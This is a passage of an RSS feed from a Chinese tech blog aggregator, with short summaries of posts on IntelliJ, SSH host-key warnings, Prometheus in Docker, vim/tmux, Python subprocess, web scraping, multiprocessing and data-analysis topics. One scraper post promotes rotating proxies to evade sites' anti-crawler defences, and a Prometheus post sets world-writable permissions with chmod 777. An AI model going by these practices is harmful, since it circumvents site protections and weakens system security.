      <title>新版本IntelliJ IDEA（如2023）中运行Spring Boot找不到VM options进行端口的修改的问题解决</title>
      <link>https://bchobby.github.io/posts/ef483133f0d107fbc1052b84ef28f288/</link>
      <pubDate>Fri, 03 Nov 2023 21:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef483133f0d107fbc1052b84ef28f288/</guid>
      <description>问题 如下图找不到VM options。&#xA;解决 进行如下操作即可。</description>
    </item>
    <item>
      <title>WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!</title>
      <link>https://bchobby.github.io/posts/a78833b2736349375511c2ca68c1e53b/</link>
      <pubDate>Fri, 03 Nov 2023 20:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a78833b2736349375511c2ca68c1e53b/</guid>
      <description>问题描述&#xA;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the ED25519 key sent by the remote host is SHA256:DRDBvCLO4xLJGzb1lQdmCFeBy/UyqnkIKncX8M9Avpk. Please contact your system administrator. Add correct host key in C:\Users\zwshi/.ssh/known_hosts to get rid of this message.</description>
    </item>
    <item>
      <title>prometheus docker部署安装</title>
      <link>https://bchobby.github.io/posts/48d77e3c404aa22676a4d8230a4f834b/</link>
      <pubDate>Fri, 03 Nov 2023 17:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48d77e3c404aa22676a4d8230a4f834b/</guid>
      <description>prometheus prometheus docker部署安装 之前用docker-compose部署过一套自动注册的prometheus，也用k8s的operator部署过一套，详情见promethues栏的文档。&#xA;时隔许久，今天在自己虚拟机部署一套promethues玩玩&#xA;准备工作 准备三台虚拟机，规格均为 1C 2G 20G，因为是自己玩，所以对性能啥的不要求了。&#xA;192.168.40.131 prometheus&#xA;192.168.40.132 node-exporter&#xA;192.168.40.133 grafana&#xA;安装promethues 之前安装prometheus，都是百度文档安装或者自己写dockerfile打镜像。这次安装尽量就别到处搜了，直接看官网。&#xA;题外话，官网的文档永远都是最正规的。你宁肯不相信官方也要相信一个不认识的人乱说吗？对吧&#xA;prometheus安装官网地址： https://prometheus.io/docs/prometheus/latest/installation/&#xA;但是官网提供的有一些瑕疵个人感觉，所以对命令做了些调整&#xA;#文件夹创建及授权 mkdir -p /usr/local/prometheus/;chmod 777 -R /usr/local/prometheus #创建并挂载暴露端口 docker run -itd --name prometheus -p 9090:9090 -v /etc/localtime:/etc/localtime:ro -v /usr/local/prometheus/conf:/etc/prometheus -v /usr/local/prometheus/data:/prometheus prom/prometheus 运行后应该是报错退出的状态，因为在conf下面没有配置文件，我们可以在官网找一个最基础的配置拷贝到本地的 /usr/local/prometheus/conf 下面并给可读权限&#xA;安装node-exporter 同样去看官网吧，官网地址：https://prometheus.io/docs/instrumenting/exporters/&#xA;这里提供了各种各样的exporter，可以根据自己需求点击跳转到github。根据Readme安装，我这也做了下优化&#xA;docker run -d --name node-exporter -p 9100:9100 --net=&#34;host&#34; --pid=&#34;host&#34; -v &#34;/etc/localtime:/etc/localtime:ro&#34; -v &#34;/:/host:ro,rslave&#34; quay.io/prometheus/node-exporter:latest --path.rootfs=/host 启动后修改prometheus配置&#xA;scrape_configs: # The job name is added as a label `job=&amp;lt;job_name&amp;gt;` to any timeseries scraped from this config.</description>
    </item>
    <item>
      <title>prometheus Error on ingesting samples that are too old or a re too far into the future</title>
      <link>https://bchobby.github.io/posts/810373fbd7b24945708ddfdcb4bd1727/</link>
      <pubDate>Fri, 03 Nov 2023 17:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/810373fbd7b24945708ddfdcb4bd1727/</guid>
      <description>目录 prometheus Error on ingesting samples that are too old or a re too far into the future 磁盘问题时间问题版本问题历史prometheus旧数据 prometheus Error on ingesting samples that are too old or a re too far into the future 之前在自己服务器上用docker部署过一个prometheus，今天更新到最新版本，结果发现在peometheus上检索我之前node-exporter的数据是没有的&#xA;查看prometheus日志发现&#xA;ts=2023-11-03T09:01:03.617Z caller=scrape.go:1741 level=warn component=&#34;scrape manager&#34; scrape_pool=centos-40.132 target=http://192.168.40.132:9100/metrics msg=&#34;Error on ingesting samples that are too old or a re too far into the future&#34; num_dropped=708ts=2023-11-03T09:01:03.617Z caller=scrape.go:1350 level=warn component=&#34;scrape manager&#34; scrape_pool=centos-40.132 target=http://192.168.40.132:9100/metrics msg=&#34;Appending scrape report failed&#34;</description>
    </item>
    <item>
      <title>vim设置F8高亮的功能</title>
      <link>https://bchobby.github.io/posts/9baa4b75acb8e250838c40a7a7000572/</link>
      <pubDate>Fri, 03 Nov 2023 17:14:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9baa4b75acb8e250838c40a7a7000572/</guid>
      <description>vim 安装molokai主题&#xA;tmux&#xA;tmux 终端复用详解&#xA;可以用来修改冲突 vim -O A文件(rej) B文件 此时掌握几个命令：&#xA;ctrl+双w：左右界面切换； /+字符串：在此文件搜索字符串匹配 shift+v：全选行； shift+v，上下键：选多行 y：复制 p：粘贴 dd：删除行 活用如上快捷键，可实现从左侧粘贴对应内容，并复制到右侧文件，同时删除想要删除行； 如上修改步骤：&#xA;1）光标指向左侧文件+行，shift+v选中，y复制； 2）ctrl+ww到右侧文件，光标指向对应修改行，p粘贴； 3）光标指向希望删除行，dd删除； 4）保存文件； 简单使用方法：&#xA;tmux&#xA;ctrl+b % 垂直分屏(组合键之后按一个百分号)，用一条垂线把当前窗口分成左右两屏。&#xA;ctrl+b &#34; 水平分屏(组合键之后按一个双引号)，用一条水平线把当前窗口分成上下两屏。&#xA;切换pane ctrl+b o 依次切换当前窗口下的各个pane。&#xA;ctrl+b Up|Down|Left|Right 根据按箭方向选择切换到某个pane。&#xA;ctrl+b Space (空格键) 对当前窗口下的所有pane重新排列布局，每按一次，换一种样式。&#xA;ctrl+b z 最大化当前pane。再按一次后恢复。&#xA;关闭pane ctrl+b x 关闭当前使用中的pane，操作之后会给出是否关闭的提示，按y确认即关闭。&#xA;五&#xA;笔输入法：&#xA;sudo apt-get install fcitx-table-wubi&#xA;配置方法：https://www.cnblogs.com/panlangen/p/8728577.html vim保存文件 F8高亮，直接*/#也可以实现&#xA;map &amp;lt;F8&amp;gt; m`×`` 按住shfit按键，再鼠标右键点击也可以高亮&#xA;安装bundle：&#xA;git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim 在.vimrc中添加</description>
    </item>
    <item>
      <title>Python操作CMD大揭秘！轻松玩转命令行控制</title>
      <link>https://bchobby.github.io/posts/c47c24c86bdf569d2eee0893e89d982d/</link>
      <pubDate>Fri, 03 Nov 2023 16:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c47c24c86bdf569d2eee0893e89d982d/</guid>
      <description>导语： 命令行界面（Command Line Interface，简称CLI）是计算机操作系统中一种基于文本的用户界面，通过输入命令来与计算机进行交互。Python作为一门强大的编程语言，提供了丰富的库和模块，可以方便地操作CMD，本文将详细介绍如何使用Python来操作CMD，助您轻松玩转命令行控制。&#xA;一、Python中的os模块 os模块是Python中用于提供与操作系统进行交互的接口的一个标准库。通过os模块，我们可以执行CMD命令、获取当前目录、创建和删除文件夹等操作。&#xA;执行CMD命令&#xA;Python中的os模块提供了执行CMD命令的函数os.system(command)，其中command是要执行的CMD命令。例如，要在CMD中执行ping命令，可以使用以下代码：&#xA;import os # 执行CMD命令 os.system(&#34;ping www.example.com&#34;) 获取当前目录&#xA;使用os模块的os.getcwd()函数可以获取当前Python脚本所在的目录。例如，要获取当前目录并打印输出，可以使用以下代码：​​​​​​​&#xA;import os # 获取当前目录 current_dir = os.getcwd() # 打印输出当前目录 print(&#34;当前目录：&#34;, current_dir) 创建和删除文件夹&#xA;使用os模块的os.mkdir(path)函数可以创建文件夹，os.rmdir(path)函数可以删除文件夹。其中，path是要创建或删除的文件夹路径。例如，要在当前目录下创建一个名为&#34;test&#34;的文件夹，可以使用以下代码：​​​​​​​&#xA;import os # 创建文件夹 os.mkdir(&#34;test&#34;) 二、Python中的subprocess模块 subprocess模块是Python中用于创建新进程、连接到子进程并与其进行通信的标准库。通过subprocess模块，我们可以更灵活地操作CMD，包括获取CMD命令的输出、向CMD写入输入等。&#xA;获取CMD命令的输出&#xA;使用subprocess模块的subprocess.run(args, capture_output=True, text=True)函数可以执行CMD命令，并返回命令的输出结果。其中，args是要执行的CMD命令，capture_output=True表示捕获命令的输出，text=True表示以文本形式返回输出结果。例如，要获取CMD中执行&#34;dir&#34;命令的输出结果，可以使用以下代码：​​​​​​​&#xA;import subprocess # 执行CMD命令并获取输出 result = subprocess.run([&#34;dir&#34;], capture_output=True, text=True) # 打印输出结果 print(result.stdout) 向CMD写入输入&#xA;使用subprocess模块的subprocess.run(args, input=input_data, capture_output=True, text=True)可以执行CMD令，并向CMD写入输入。其中，args是要执行的CMD命令，input=input_data表示要写入的输入数据，capture_output=True表示捕获命令的输出，text=True表示以文本形式返回输出结果。例如，要向CMD中执行&#34;ping&#34;命令并写入输入&#34;www.example.com&#34;，可以使用以下代码：​​​​​​​&#xA;import subprocess # 执行CMD命令并写入输入 result = subprocess.run([&#34;ping&#34;], input=&#34;www.example.com&#34;, capture_output=True, text=True) # 打印输出结果 print(result.</description>
    </item>
    <item>
      <title>Python爬虫实战（六）——使用代理IP批量下载高清小姐姐图片（附上完整源码）</title>
      <link>https://bchobby.github.io/posts/a07d985bf2babf69c99c63b9651a71d5/</link>
      <pubDate>Fri, 03 Nov 2023 15:54:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a07d985bf2babf69c99c63b9651a71d5/</guid>
      <description>文章目录 一、爬取目标二、实现效果三、准备工作四、代理IP4.1 使用代理的好处？4.2 获取免费代理4.3 获取代理 五、代理实战5.1 导入模块5.2 设置翻页5.3 获取图片链接5.4 下载图片5.5 调用主函数5.6 完整源码5.7 代理IP不够用怎么办？ 六、总结 一、爬取目标 本次爬取的目标是某网站4K高清小姐姐图片：&#xA;二、实现效果 实现批量下载指定关键词的图片，存放到指定文件夹中：&#xA;三、准备工作 Python：3.10&#xA;编辑器：PyCharm&#xA;第三方模块，自行安装：&#xA;pip install requests # 网页数据爬取 pip install lxml # 提取网页数据 四、代理IP 4.1 使用代理的好处？ 爬虫使用代理IP的好处有以下几点：&#xA;轮换IP地址：使用代理IP可以轮换IP地址，降低被封禁的风险，从而保持爬取的连续性和稳定性。提高采集速度：代理IP可以提供多个IP地址，使得爬虫能够同时进行多个线程使用，从而加快数据的采集速度。绕过反爬虫机制：许多网站采取了各种反爬虫机制，例如IP封禁、验证码、请求频率限制等。使用代理IP可以帮助爬虫绕过这些机制，保持正常的数据采集。保护个人隐私：使用代理IP可以帮助隐藏真实的IP地址，保护个人身份和隐私信息。 博主经常写爬虫代码使用的是巨量IP家的高匿名代理IP，每天有1000个免费IP：点击免费试用&#xA;4.2 获取免费代理 1、打开巨量IP官网：巨量IP官网&#xA;2、输入账号信息进行注册：&#xA;3、这里需要进行实名认证，如果不会的可以看：个人注册实名教程：&#xA;4、进入会员中心，点击领取今日免费IP：&#xA;5、详细步骤看官方的教程文档：巨量HTTP—免费代理ip套餐领取教程，领取后如下图：&#xA;6、点击产品管理》动态代理（包时），可以看到我们刚才领取到的免费IP信息：&#xA;7、将自己电脑的IP添加为白名单能获取代理IP，点击授权信息：&#xA;8、依次点击修改授权》快速添加》确定&#xA;9、添加完成后，点击生成提取链接：&#xA;10、设置每次提取的数量，点击生成链接，并复制链接：&#xA;11、将复制链接，复制到地址栏就可以看到我们获取到的代理IP了：&#xA;4.3 获取代理 获取到图片链接后我们需要再次发送请求去下载图片，由于请求量一般会很大所以需要用到代理IP。上面我们已经手动获取到了代理IP，下面来看Python如何挂上代理IP发送请求：&#xA;1、通过爬虫去获取API接口的里面的代理IP（注意：下面代理URL，看4.2教程换成自己的API链接）：&#xA;import requests import time import random def get_ip(): url = &#34;这里放你自己的API链接&#34; while 1: try: r = requests.</description>
    </item>
    <item>
      <title>mac 安装mysql 和navicat</title>
      <link>https://bchobby.github.io/posts/514ab8e1971c76fb8c9057a9988f4bbf/</link>
      <pubDate>Fri, 03 Nov 2023 15:20:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/514ab8e1971c76fb8c9057a9988f4bbf/</guid>
      <description>1安装 mysql mac上怎么安装mysql（教程）-mysql教程-PHP中文网&#xA;2 安装navicat Mac系统安装Navicat Premium数据库与汉化_mac上navicat汉化-CSDN博客&#xA;3 链接数据库报错 2059-Authentication plugin ‘caching_sha2_password‘ cannot be loaded:问题出现的原因及解决方法 2059-Authentication plugin ‘caching_sha2_password‘ cannot be loaded:问题出现的原因及解决方法_连接数据库2059-authentication plugin &#39;caching_sha2_pass_梦途的测开笔记的博客-CSDN博客</description>
    </item>
    <item>
      <title>【Python】多进程线程与CPU核数</title>
      <link>https://bchobby.github.io/posts/b78b5469b9d44de74987fd1e7a48b4a3/</link>
      <pubDate>Fri, 03 Nov 2023 15:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b78b5469b9d44de74987fd1e7a48b4a3/</guid>
      <description>多进程数量设置为CPU核数，或者略小于CPU核数；多线程数量，如果是CPU密集任务设为1；如果是IO密集设为合理的值；IO密集型：系统运作，大部分的状况是CPU 在等I/O （硬盘/内存）的读/写。计算密集型：大部份时间用来做计算、逻辑判断等CPU 动作的程序称之CPU 密集型。对于IO密集型，多线程效率高于多进程；对于计算密集型任务，多进程效率高于多线程。 总结一下&#xA;IO密集网络请求，文件读写多进程CPU核数（or略小于CPU核数）多线程合理值CPU密集计算，逻辑判断多进程CPU核数（or略小于CPU核数）多线程1 GIL全局锁：是python多线程。&#xA;多进程设置的大小与CPU核数的关系 在Python中，多进程的数量可以根据CPU核数来设置，以充分利用计算资源并提高程序的性能。通常情况下，可以将多进程的数量设置为机器的CPU核数，或者略少于CPU核数，以避免过度竞争资源而导致性能下降。&#xA;以下是一些关于Python多进程设置大小与CPU核数的一般准则：&#xA;1. CPU核数：首先，你可以使用`multiprocessing`模块中的`cpu_count()`函数来获取机器的CPU核数。例如：&#xA;import multiprocessing num_cpus = multiprocessing.cpu_count() 2. 多进程数量：根据机器的CPU核数，你可以将多进程的数量设置为相应的值。通常情况下，将多进程数量设置为CPU核数是一个合理的选择。例如：&#xA;num_processes = num_cpus 3. 考虑资源竞争：在设置多进程数量时，需要考虑到每个进程所需的资源（如内存、I/O等）。如果每个进程需要较多的资源，可以将多进程数量设置为略少于CPU核数，以避免过度竞争资源而导致性能下降。&#xA;需要注意的是，多进程的设置也取决于具体的应用场景和任务类型。有时候，根据具体情况进行实验和调整，找到最佳的多进程数量可能是更好的选择。此外，还可以考虑使用线程（`threading`模块）来实现并发操作，具体取决于任务的性质和需求。&#xA;多线程设置的大小与CPU核数的关系 在Python中，多线程的设置大小与CPU核数之间的关系是相对简单的。由于Python的全局解释器锁（GIL）机制限制了多线程的并行执行，因此多线程并不能充分利用多核处理器的能力。&#xA;在Python中，多线程适用于I/O密集型任务，如网络请求、文件读写等，因为这些任务通常会涉及等待时间，而在等待的过程中，其他线程可以继续执行。因此，对于I/O密集型任务，可以将多线程的数量设置为适当的值，以充分利用CPU的等待时间。&#xA;然而，对于CPU密集型任务，由于GIL的存在，多线程并不能实现真正的并行加速。在这种情况下，多线程的数量增加并不会提高程序的性能，反而可能由于线程之间的频繁切换而导致性能下降。因此，在CPU密集型任务中，通常建议将多线程的数量设置为1，以避免不必要的开销。&#xA;综上所述，多线程的设置大小与CPU核数之间的关系在Python中并不直接相关。对于I/O密集型任务，可以适当增加多线程的数量以充分利用CPU的等待时间；对于CPU密集型任务，通常将多线程的数量设置为1即可。需要根据具体的应用场景和任务类型来确定最佳的多线程设置。&#xA;参考：&#xA;python多进程 - 新战鲸的文章 - 知乎&#xA;多线程和进程比较 对于IO密集型，多线程效率高于多进程；&#xA;对于计算密集型任务，多进程效率高于多线程。&#xA;代码如下：&#xA;# -*- coding: utf-8 -*- &#34;&#34;&#34; @Time: 2023/4/18 14:42 @Author: CookieYang @FileName: threadVsProcess.py @SoftWare: PyCharm @brief: 功能简介 &#34;&#34;&#34; import time from threading import Thread from multiprocessing import Process def f1(): # time.</description>
    </item>
    <item>
      <title>CDA数据分析师一级</title>
      <link>https://bchobby.github.io/posts/e7e5f075cc4952f8470f0039963374ee/</link>
      <pubDate>Fri, 03 Nov 2023 15:13:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7e5f075cc4952f8470f0039963374ee/</guid>
      <description>本文用于记录备考CDA数据分析师一级的常错概念及考点&#xA;业务分析模型：漏斗模型、RFM 模型、客户价值模型 业务分析方法：树状结构分析法、二八分析法、四象限分析法、同期群分析法 RFM模型是衡量客户价值和客户创利能力的重要工具和手段；&#xA;R：recency最近一次消费：基于当前时点，统计用户最近一次消费时点和当前时点的时间差，&#xA;F：frequency消费频次：指定时间区间内统计用户的购买次数；&#xA;M：money指定时间区间内统计用户的消费总金额；&#xA;业务图表决策树 比较类图表 序列类图表 结构/构成类图表 描述类图表 油量表和圆环百分比进度图 柱形图和条形图 雷达图 树状图 地图和词云 折线图和面积图和柱状图 漏斗图 饼图和环形图和南丁格尔玫瑰图 堆积图和百分比堆积图 瀑布图 直方图 散点图/气泡图 主键的物理意义：表的行标识符，业务意义：表的业务记录单位 表格结构数据：可以理解为是基于excel这种传统的数据 表结构数据：可以理解为是基于BI这种数据 数据可视化报表与业务分析报告的差异：&#xA;可以用来进行用户分类的模型是：RFM模型、帕累托模型。波士顿矩阵是商品矩阵，不能用来进行用户分类 波士顿矩阵：明星类产品（销售增长率高、市场占用率高），瘦狗产品（销售增长率低、市场占用率低）、问题类产品（销售增长率高、市场占用率低）、金牛类产品（销售增长率低、市场占用率高） 常用计费方式CPM（cost per mille）按每千次曝光收费、CPS（cost per sales）按实际销售收费、CPC（cost per click）按点击次数收费</description>
    </item>
    <item>
      <title>Python与数据可视化库Bokeh</title>
      <link>https://bchobby.github.io/posts/9e778c43f8fb88677aab89deeb9aeb19/</link>
      <pubDate>Fri, 03 Nov 2023 14:27:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e778c43f8fb88677aab89deeb9aeb19/</guid>
      <description>一、Python简介&#xA;Python是一门高级编程语言，具有简单易学、可读性强、可扩展性好等特点。它被广泛应用于数据分析、科学计算、机器学习、人工智能等领域，其中数据分析在Python中的应用相当广泛。&#xA;二、数据可视化&#xA;数据可视化是将复杂的数据以图形的方式展现出来，以便于人们更好地理解和发现数据背后的规律。数据可视化可以有效地帮助人们更好地理解数据，发现数据中的问题，从而做出更好的决策。&#xA;在Python中，有很多数据可视化库，常用的有Matplotlib、Seaborn、Plotly、Bokeh等。其中Bokeh是一个优秀的数据可视化库，它支持多种交互式图形类型，并具有高度的可定制性和灵活性。&#xA;三、Bokeh简介&#xA;Bokeh是一个Python交互式可视化库，它支持多种图形类型，包括折线图、散点图、柱状图、直方图、热力图、地图等。Bokeh的特点是交互式，可以支持通过鼠标悬停、缩放、平移等方式对图形进行交互操作，并且可以通过JavaScript和HTML来定制和扩展交互式功能。&#xA;Bokeh的优点在于其支持多个高级数据可视化功能，包括高级图形类型、高级交互式工具、数据绑定、主题和样式等。此外，Bokeh还支持多种数据格式和数据集成方式，可以方便地处理多种数据源，包括Pandas、NumPy、SciPy等常见的数据集成方式。&#xA;Bokeh的架构是基于BSD许可的，因此可以免费使用，并且其文档十分全面，因此非常适合初学者和经验丰富的开发人员使用。&#xA;四、Bokeh的安装&#xA;Bokeh的安装非常简单，可以通过pip命令进行安装。在Windows系统上，可以在命令行中输入以下命令来安装Bokeh：&#xA;pip install bokeh 在安装后，可以使用以下命令来验证Bokeh是否安装成功：&#xA;import bokeh print(bokeh.__version__) 如果输出该版本号，则表示已经成功安装Bokeh。&#xA;五、Bokeh的使用&#xA;Bokeh的使用非常简单，可以通过Python代码生成交互式图形。以下是一个简单的例子来生成散点图。&#xA;from bokeh.plotting import figure, show from bokeh.models import ColumnDataSource x = [1, 2, 3, 4, 5] y = [6, 7, 2, 4, 5] colors = [&#34;red&#34;, &#34;green&#34;, &#34;blue&#34;, &#34;orange&#34;, &#34;purple&#34;] source = ColumnDataSource(data=dict(x=x, y=y, colors=colors)) p = figure(title=&#34;Scatter Plot Example&#34;) p.circle(x=&#39;x&#39;, y=&#39;y&#39;, color=&#39;colors&#39;, size=20, source=source) show(p) 在这个例子中，我们创建了一个散点图，设置了数据源、颜色和大小，并使用show()函数将图形展示出来。当我们鼠标悬停在散点图上时，会显示对应数据的具体数值。&#xA;六、Bokeh的高级功能</description>
    </item>
    <item>
      <title>Java与人工智能开发入门</title>
      <link>https://bchobby.github.io/posts/d472f8ec7f703a766fd8b084c0e94771/</link>
      <pubDate>Fri, 03 Nov 2023 14:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d472f8ec7f703a766fd8b084c0e94771/</guid>
      <description>一、Java语言介绍&#xA;Java是一种跨平台编程语言，最初由Sun Microsystems公司开发，之后被Oracle收购。Java以其安全性、可靠性、高效性和简洁性而广泛使用。与其他编程语言不同，Java程序在编译时生成的是字节码，而不是机器码。这意味着Java程序可以在不同的平台上执行，只需要安装Java虚拟机即可。&#xA;Java语言主要用于Web应用程序、移动应用程序和企业级应用程序的开发，还被广泛用于游戏开发、桌面应用程序开发和嵌入式系统开发。&#xA;二、人工智能介绍&#xA;人工智能（Artificial Intelligence，AI）指的是智能计算机程序的开发和应用，这些程序能够模拟人类的智能行为和思维过程。人工智能包括机器学习、自然语言处理、计算机视觉和智能机器人等领域，它们可以执行各种任务，例如图像识别、语音识别、自然语言理解、数据分析和预测等。&#xA;三、Java与人工智能的联系&#xA;Java可以与人工智能技术结合使用，在人工智能应用程序的开发和实现中发挥重要作用。Java具有以下优点：&#xA;跨平台性：Java语言编写的应用程序可以在不同的操作系统上运行，因为Java虚拟机（JVM）在不同的平台上都可以运行。&#xA;强大的库：Java提供了许多常用的库和工具，这些库和工具可以帮助开发人员快速开发人工智能应用程序。&#xA;安全性：Java具有强大的安全性，这对于需要处理敏感信息的人工智能应用程序非常重要。&#xA;多线程：Java是一种多线程语言，可以支持并发计算，这对于执行大规模数据计算的人工智能应用程序非常重要。&#xA;易于维护：Java的代码结构清晰，易于维护。&#xA;四、Java开发人工智能应用程序的技术&#xA;以下是开发Java人工智能应用程序的一些技术。&#xA;机器学习 Java开发人工智能应用程序时最常用的技术之一是机器学习。机器学习是一种人工智能技术，它使计算机程序可以从数据中学习，并根据学习到的知识自动提高性能。Java提供了各种机器学习库，例如Weka、Apache Mahout和DeepLearning4j等。这些库可以帮助开发人员构建和训练机器学习模型，并将其应用于现有数据。&#xA;自然语言处理 自然语言处理（Natural Language Processing，NLP）是一种人工智能技术，它使计算机程序可以理解和处理人类语言。Java提供了许多NLP库，例如OpenNLP和Stanford NLP等。这些库可以帮助开发人员解析和分析文本，并执行文本分类、命名实体识别、语音识别、机器翻译和情感分析等任务。&#xA;计算机视觉 计算机视觉（Computer Vision，CV）是一种人工智能技术，它使计算机程序可以理解和处理图像和视频。Java提供了许多CV库和工具，例如OpenCV和JavaCV等。这些库和工具可以帮助开发人员分析和处理图像，例如对象检测、人脸识别和图像分类等任务。&#xA;深度学习 深度学习是一种机器学习技术，它使用人工神经网络模型来模拟人脑的神经网络，从而实现复杂的模式识别、特征提取和数据分类等任务。Java提供了许多深度学习库，例如DL4J和TensorFlow等。这些库可以帮助开发人员构建和训练深度神经网络模型，并将其应用于各种人工智能应用程序。&#xA;五、Java+人工智能实战案例&#xA;以下是一个Java+人工智能实战案例。&#xA;案例：人脸识别系统&#xA;这个案例中，我们将使用Java和OpenCV库来构建一个人脸识别系统。&#xA;步骤：&#xA;1.安装Java和OpenCV库&#xA;2.编写Java程序，用于捕捉视频和识别人脸。&#xA;3.使用OpenCV的人脸检测器来检测人脸。&#xA;4.使用OpenCV的人脸识别器来识别人脸。&#xA;5.将检测到的人脸保存到文件中。&#xA;6.使用Java程序来显示检测到的人脸。&#xA;举例，整个过程如下：&#xA;import org.opencv.core.Core; import org.opencv.core.Mat; import org.opencv.core.MatOfRect; import org.opencv.core.Rect; import org.opencv.core.Scalar; import org.opencv.imgcodecs.Imgcodecs; import org.opencv.imgproc.Imgproc; import org.opencv.objdetect.CascadeClassifier; import org.opencv.videoio.VideoCapture;&#xA;public class FaceDetection {&#xA;public static void main(String[] args) { System.</description>
    </item>
    <item>
      <title>Python桌面应用程序中的模型评估与解释</title>
      <link>https://bchobby.github.io/posts/7a6d3eeb4ce489d53b8b8c7a78745d3c/</link>
      <pubDate>Fri, 03 Nov 2023 14:26:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a6d3eeb4ce489d53b8b8c7a78745d3c/</guid>
      <description>一、背景介绍 Python是一个非常适合进行数据分析和机器学习的编程语言，而桌面应用程序是Python的一个非常重要的应用领域。在Python桌面应用程序中，模型评估与解释是非常重要的一部分。模型评估和解释是指为了了解机器学习模型的性能和如何使用它们，需要进行一些定量和定性的评估和解释。在这篇文章中，我们将重点介绍Python桌面应用程序中的模型评估与解释方法。&#xA;二、模型评估 在机器学习中，模型评估是非常重要的一个环节，它可以帮助我们了解机器学习模型的表现如何。以下是Python桌面应用程序中常用的一些模型评估方法。&#xA;1.准确率（Accuracy） 准确率是指模型预测正确样本数与总样本数之比。在Python中，可以使用accuracy_score()函数来计算准确率：&#xA;from sklearn.metrics import accuracy_score&#xA;y_true = [0, 1, 2, 3] y_pred = [0, 1, 1, 3] accuracy = accuracy_score(y_true, y_pred) print(&#34;Accuracy: &#34;, accuracy)&#xA;2.精确率（Precision）和召回率（Recall） 精确率是指正确预测的正例数与预测为正例的样本数之比。而召回率是指正确预测的正例数与实际正例数之比。在Python中，可以使用precision_score()和recall_score()函数来计算精确率和召回率：&#xA;from sklearn.metrics import precision_score, recall_score&#xA;y_true = [0, 1, 0, 1] y_pred = [0, 0, 1, 1] precision = precision_score(y_true, y_pred) recall = recall_score(y_true, y_pred) print(&#34;Precision: &#34;, precision) print(&#34;Recall: &#34;, recall)&#xA;3.F1值 F1值是精确率和召回率的调和平均数，可以综合考虑精确率和召回率的表现。在Python中，可以使用f1_score()函数来计算F1值：&#xA;from sklearn.metrics import f1_score&#xA;y_true = [0, 1, 0, 1] y_pred = [0, 0, 1, 1] f1 = f1_score(y_true, y_pred) print(&#34;</description>
    </item>
    <item>
      <title>Python进大厂比赛中的编程技巧与脚本工具</title>
      <link>https://bchobby.github.io/posts/f0847451f4b9b4f7c462939e286ace6b/</link>
      <pubDate>Fri, 03 Nov 2023 14:26:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0847451f4b9b4f7c462939e286ace6b/</guid>
      <description>Python 是一种流行的编程语言，它在很多大型公司中广泛使用，比如 Google、Facebook、Netflix、Amazon 等。在这些公司中，Python 通常用于数据分析、机器学习、自动化测试等领域。这些领域的工作通常需要高效的编程技巧和精良的脚本工具，因此 Python 进大厂比赛中的编程技巧和脚本工具非常重要。&#xA;一、编程技巧&#xA;充分利用 Python 的标准库 Python 的标准库是非常庞大和强大的，在大多数情况下使用标准库已经足够了。一些最常用的标准库包括：os、sys、re、datetime、time、math、random 等。熟悉这些库的使用方法可以提高程序效率和可移植性。&#xA;优化代码 优化代码可以在不改变程序逻辑的情况下提高程序运行速度。一些常见的代码优化技巧包括：使用迭代而不是递归、避免使用全局变量、避免重复计算、使用局部变量等等。&#xA;使用缓存 缓存可以提高程序的性能。Python 内置了 LRU（最近最少使用）缓存，可以使用 functools.lru_cache 装饰器来实现。使用缓存可以避免重复计算和减少函数调用。&#xA;并行计算 Python 内置了多线程和多进程模块，可以用来实现并行计算。使用多线程可以提高 CPU 密集型应用程序的性能，使用多进程可以提高 I/O 密集型应用程序的性能。&#xA;错误处理 Python 的错误处理机制非常强大，可以通过 try-except 语句捕获异常并进行处理。在编写代码时应该考虑到可能出现的异常情况，并针对每种情况编写错误处理代码。&#xA;二、脚本工具&#xA;自动化部署 自动化部署工具可以帮助开发者自动化部署和管理 Python 应用程序。常用的自动化部署工具包括 Fabric 和 Ansible。这些工具可以自动化地完成部署、更新和监控任务，从而提高开发效率和应用程序的可靠性。&#xA;数据分析工具 Python 在数据分析领域非常强大，有很多数据分析工具可供选择。一些常用的数据分析工具包括：Pandas、NumPy、Matplotlib、Scipy 等。这些工具可以帮助开发者更轻松地分析和可视化数据。&#xA;自动化测试 Python 的自动化测试工具非常强大，可以帮助开发者自动化测试应用程序的各个部分。常用的自动化测试工具包括：unittest、pytest、nose 等。这些工具可以帮助开发者更轻松地测试代码，减少人工测试的时间和劳动力。&#xA;Web 应用程序框架 Python 有很多强大的 Web 应用程序框架，可以帮助开发者更轻松地构建和部署 Web 应用程序。一些常用的 Web 应用程序框架包括：Django、Flask、Bottle 等。这些框架提供了丰富的功能和插件，可以帮助开发者更轻松地构建和部署 Web 应用程序。&#xA;包管理器 Python 的包管理器可以帮助开发者更轻松地安装、升级和卸载 Python 包。常用的包管理器包括 pip 和 conda。这些包管理器可以帮助开发者更轻松地管理 Python 包的依赖关系，并且可以方便地在不同的环境中安装和使用 Python 库。</description>
    </item>
    <item>
      <title>vue项目运行报错：# Fatal error in , line 0 # Fatal process out of m#FailureMessage Object: 000000DAC15F5A30</title>
      <link>https://bchobby.github.io/posts/763ee3eff3a98e9f17d90a176cd90a7a/</link>
      <pubDate>Fri, 03 Nov 2023 14:21:09 +0800</pubDate>
